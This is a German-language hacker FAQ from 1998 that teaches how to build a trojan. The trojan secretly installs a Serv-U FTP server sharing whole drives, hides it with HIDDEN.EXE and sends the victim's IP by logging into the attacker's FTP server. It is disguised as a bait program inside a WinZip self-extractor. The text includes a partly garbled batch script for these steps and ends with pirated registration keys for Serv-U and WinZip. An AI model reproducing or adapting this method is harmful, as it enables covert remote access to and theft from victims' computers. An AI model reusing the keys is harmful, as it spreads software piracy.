FTP HACKING FAQ BY XPACCSX XpaCcsX@h-d-c.org


 1.) Was ist FTP
 2.) Erstellen des Servers
 3.) Heimlicher Festplattenzugriff über das Intenet
 4.) Der Trojaner
 5.) Ergänzungen


_____________________________________________________________________________

   1.) Was ist Ftp

    Ftp  steht  für  File  Transfer  Protokoll.  Mit  diesem protokoll ist es
    möglich  weltweit  Server  anzusprechen, und von denen die Freigegebenden
    Daten zu Lesen,Schreiben oder Löschen. Mann kann in einem FTP server über
    dem  Standartbrowser,  oder  über ein spezielles FTP Client Programm z.B.
    Cute  Ftp  einsteigen Die 2te Möglichkeit ist in jeden falle besser, weil
    man   dort   alle   Vorteile   des   Ftp  Protokolls  nutzen  kann  (z.B.
    Lesen,Schreiben,Editieren,    Löschen,    Erstellen    von   Datein   und
    Verzeichnissen).  Die  meisten  FTP Server werden von Universitäten, oder
    Firmen wie z.B. Microsoft (ftp://ftp.Microsoft.com) Geführt.

   2.) Erstellen des Servers

    Nun  ist es aber auch möglich, einen Normalen HomePc, Oder wie die Webung
    immer  sagt  "Multimedia  PC"  für  Solche  aufgaben  zu deklarieren. Die
    vorteile  eines  solchen  "Kleinen"  Servers  ist,  das  alle  Daten (die
    Freigegebenden)  weltweit abrufbar sind. Eines dieser Programme, um einen
    Solchen  PC  zum  Server  zu  Deklarieren  ist  z.B. das Windows Programm
    Serv-u.  mit diesem programm ist es weitgehen möglich, Daten freizugeben,
    und   Benutzerlisten  mit  Namen  und  Kennwort  zu  sichern  und  diesen
    Dateizugriff jeweils ihren Privilegien zu geben. mann sollte dabei darauf
    achten,  das  die  anzahl der Besucher im System nicht die Bandbreite des
    Modem's   oder   ISDN   anschlusses   übersteigt,  da  sonst  unangenehme
    Wartezeiten von Clienten aus entstehen.

  3.) Heimlicher Festplattenzugriff über das Internet

    nun  hab  ich dir Grundlage erläutert, und komm mal zu dem Thema Hacking.
    genau  so  gut wie ein fachgebiet auch ist, kann man es auch für Negative
    Zwecke  missbrauchen.  Es  Handelt  sich  dabei um ein verfahren, was ich
    selber entwickelt habe. Befor mann sich auf die Daten anderer freut, muss
    einiges  beachtet werden. im ersten sinne ist ja der Heimische PC von der
    aussenwelt  relativ stark getrennt, das heisst, das im eigendlichen sinne
    keine direkten Plattenzugriffe erfolgen können. Ab diesen moment kann und
    das  Serv-U  Programm weiterhelfen, wobei angemerkt werden kann, das auch
    andere  server  programme genau so tauglich sein können verwendet werden.
    wenn  mann  serv-U richtig (oder eben auch falsch) konfiguriert, kann man
    damit  auch  gesammte  Laufwerke  freigeben,  also  eben  auch  mit  Lese
    Schreibeberechitung.   soweit   ein  server  auf  dem  system  in  dieser
    konfiguration gestartet wird, ist die Heimische Festplatte quasi offen im
    Netz  ansprechbar, kann also weltweit zugegriffen werden. Leider bestehen
    dabei  2  Probleme,  die  es  zu  lösen  gilt, einen solchen server fremd
    Arbeiten  zu  lassen.  als  erstes  muss  sichergestellt  werden, das der
    Anwender, auf dem der server Installiert wird nicht davon mitbekommt. Das
    2te  Problem  ist die einfache sache, das man die richtige IP nummer nich
    kennt  (ausser  natürlisch  im  IRC).  Für  das  erste Problem hab ich im
    demsinne abhilfe geschaffen, das ich ein Programm gefunden habe, welsches
    das  Serv-U  nicht  sichtbar  startet, quasi es erscheint nicht, arbeitet
    dennoch im Hintergrund. dieses Programm ist auf vielen PC- Welt CD's oder
    im  internet  erhältlich, und nennt sich schlicht HIDDEN.EXE Startet mann
    also  "Hidden.EXE  serv-u32.exe"  ist  der  Server auf dem "Feindrechner"
    aktiv, kann jedoch nicht wahrgenommen werden. Als 2tes muss die IP Nummer
    des gegenbers ermittelt werden. Dieses weitere Problem habe ich mit
    dem  Windows  programm FTP.EXE gelöst, das auf jedem Windows 95 PC mitbei
    ist.  Der  quellcode  ( oder die Batches ) habe ich angehängt. dieser FTP
    Client  versucht  nun  beim start auf den Server des gegners zu gelangen,
    wobei  die  IP  des  "Feindrechners"  Offengelegt  wird.  (dafür muss der
    angreifer  einen  eigenden FTP server installiert haben). wonach dann der
    Server  versteckt  geladen  wird.  wenn  die IP nun bekannt ist, kann der
    angreifer  über  FTP://  auf  dem  "Feindrechner"  so  richtig
    flanieren, was das modem mitmacht, wobei zu sagen währe, das man doch ein
    wenig  aufplassen sollte, den gerade bei modem's ist es standard, das der
    sendecanal  als  ständiges  blinklicht  auffält. hat der "FeindPC" jedoch
    ISDN, wobei es sich heutzutage meisst um eine ISDN Karte handelt kann man
    in aller ruhe (un schnelligkeit) ganze programme mühelos übertragen.

  4.) Der Trojaner
  
    Da  sich  dieses Programm ja nicht von selbst in anderen Rechnern kopiert
    muss  man  einen  kleinen  Trojaner  basteln.  Da  ich selber offengesagt
    garnicht   programmieren  kann,  habe  ich  mir  wege  und  möglichkeiten
    ausgedacht,  diese  problem  zu lösen. das erstes musste ich eine Batches
    schreiben,  der  dioe  entsprechenden Aktionen ausführt. als 2ten schritt
    muss nun ein "Köder gefunden werden, welsches für den "Feind" interissant
    ausieht. mann muss also dafür sorgen, das die Batsches folgendes tut :

     - die IP Nummer übertragen
     - den server Starten ( unnbemerkt)
     - das eigendliche köderprogramm zu installieren

    (die  Batches  werde ich im unteren teiel mit erläuterungen einfügen). da
    eine  reine  Batches  als startoption zu öffentlich aussieht, müsste mann
    dieses "Packet" also:
                                     - Batch
                                     - Serv-u
                                     - Hidden
                                     - Köderprogramm

    packen.  ich  habe  mich im meinem fall auf Winzip konzentriert, weil der
    Winzip  Selextraktor  wirkich  gute  dienste  leistet,  wenn man kleinere
    installationsroutinen  ausführen  will.  dieses gesammte packet muss dann
    nur  noch  verschickt  werden. wenn es bei dem gegenüber gestartet worden
    ist,  erhält  man  kurz  darauf  die  IP  nummer, da sich der Trojaner in
    "meinem"  Server  einloggen will. ab diesem Moment kann man sich dann auf
    die Festplatte stürzen besondern augenmerk würde ich allererst darauf, ob
    C:\Decoder,     oder     c:\highwav     existieren    (das    sind    die
    Standartverzeichnisse wenn man einen ISDN (ISt Das Nötig) besitzt.

    Der Troajner läuft also so ab :

         Eigender PC --- Schickt Trojaner ------->  FremdPC
                                                     I  I
         Eigender PC -<--Erhält IP nummer-----<------I  I--- Startet
                                                        I    Serv-U
         Eigender PC -->- Greift ber die IP zu ---->---I
                                                        I
         Eigender PC --->------->-Hat Vollen zugriff----I

 
_____________________________________________________________________________


                           --- Die Batches ---

@echo off
:: --------------------- Kopiert die Trojanischen Datein nach
:: c:\windows 
COPY HIDDEN.exe %windir%
copy install.exe %windir%
copy serv-u.ini %windir%
::---------------------- Startet den Server im Hintergrund
%windir%\hidden.exe %windir%\install.exe              } ---- Gepackt
in Windzip Self Extraktor !
::---------------------- Sendet die IP
echo quit> bEcho Weiter mit beliebiger Taste . . .
instal2  <"b">"nul
del b
::---------------------- Ende
 
_____________________________________________________________________________

  5.) Ergänzungen

   Ich  hoffe, das ich noch jemanden finde, und mir dieses programm in eineVB
   version  abändert. geplant sind nich Routinen für den start von programmen
   auf  dem Fremdrechner . Leider sind meine programmierKenntnisse nicht sehr
   ausgeprägt,  als  hätte  ich  mehr eingebaut. wenn noch jemand fragen hat,
   kann  er  diese  Richten an XpaCcsX@H-d-C.org ps: dies ist meine erste Faq
   (und  auch  mein  hmmmm 5ter Hack), wobei ich noch nichma in club's drinne
   bin oder so :-))

   RegistrierungsCodes :
   Serv-U               : Registrationkey=r8fZajeU3JY,ED!SON '96
   Winzip SelfExtraktor : name/Bad Crc #/215360
   Winzip               : name: Murad Meraly #/34077594

   Die  nötigen  filez,  wie  oben beschrieben hänge ich als UUDecode ansi an
   diese datei an.

   www.h-d-c.org
                                                                   XpaCcsX 98